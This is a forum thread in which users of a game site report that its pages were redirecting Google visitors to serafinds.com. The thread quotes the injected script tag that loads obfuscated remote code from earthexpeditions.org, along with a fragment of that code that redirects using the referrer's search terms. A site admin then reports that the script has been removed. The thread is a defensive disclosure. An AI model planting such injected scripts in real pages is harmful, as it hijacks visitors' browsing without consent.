earthexpeditions.org being used as a transparent redirect for serafinds.org

I did a google search for a page on the forums and got redirected to serafinds.com
After switching os's and DNS servers, I found it to be part of a script attached to every page on the disastrousconsequences.com server.
Code:

 <iframe src="/dcforum/templates/ping_session.jsp" height="0" width="0" frameborder="0" scrolling="no"></iframe>
 <script src="http://www.earthexpeditions.org/wildart/wildartproject/test/index.php" type="text/javascript"></script>
 </body>
 </html>
 <script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
 </script>
 <script type="text/javascript">
 _uacct = "UA-2083778-1";
 urchinTracker();
 </script>

the php script at earthexpeditions.org is very obfuscated, but the last visible line reads:
Code:

 {key=r.substring(q+2+t.length).split("&")[0];document.location='http://serafinds.com/search.php?q='+key;}

I also verified this with one of my remote servers.

Can someone inform Dru?

I was redirected from a Disastrous Consequences google search to serafinds.com as well after clicking on the DC News link. The DC News page would load for a few seconds and then I'd be redirected. No longer happening though.

I've never experienced this when I searched the server from the class computer the other month, so it may have happened recently. At home, it's bookmarked and haven't redirected me.

Flak Monkey wrote:

I've never experienced this when I searched the server from the class computer the other month, so it may have happened recently. At home, it's bookmarked and haven't redirected me.

I agree, I search the site with google frequently, and this only happened recently.
The link to the remote code could have been there for a while though, and the serafinds link could have been added recently to the remote code.

The script has been removed from our pages and the people at earthexpeditions.org have been notified.